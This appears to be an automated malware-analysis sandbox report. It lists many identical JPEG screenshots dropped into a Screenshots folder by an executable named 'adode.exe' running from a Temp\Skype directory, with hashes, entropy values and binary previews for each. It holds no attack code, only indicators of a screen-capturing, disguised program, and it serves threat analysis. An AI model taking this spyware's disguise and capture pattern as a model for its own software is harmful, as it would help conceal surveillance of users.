SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240729_032547.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240729_103706.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240731_193412.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240801_011251.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240801_072003.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240801_100817.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240801_114830.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240801_150324.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240801_192820.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240804_052738.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240804_104608.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152561
Entropy (8bit):	7.924902457856507
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeYueea8FkcKxgq4W:09iDzKw+6kGff2FxE9xI
MD5:	7040C531FB923AAEC93C461D972554FE
SHA1:	8513DD40994CA497B4E8E04B058EC1985FC47F4B
SHA-256:	BFD6BDB678CB04D15F47A1E0B65692AFCE98AC84BB1D14E87988B53E4B97E029
SHA-512:	10350C00E9CF4A243F43E11162DB07F16A6AACADF7C7E45F8F5766397249E40CEB2165B7CC82C2CAA5504278B7B46C15EEE56320257489BAE171E83E543ED700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240804_211921.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240807_054927.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240807_151441.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240807_215641.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240810_061939.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240810_114202.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
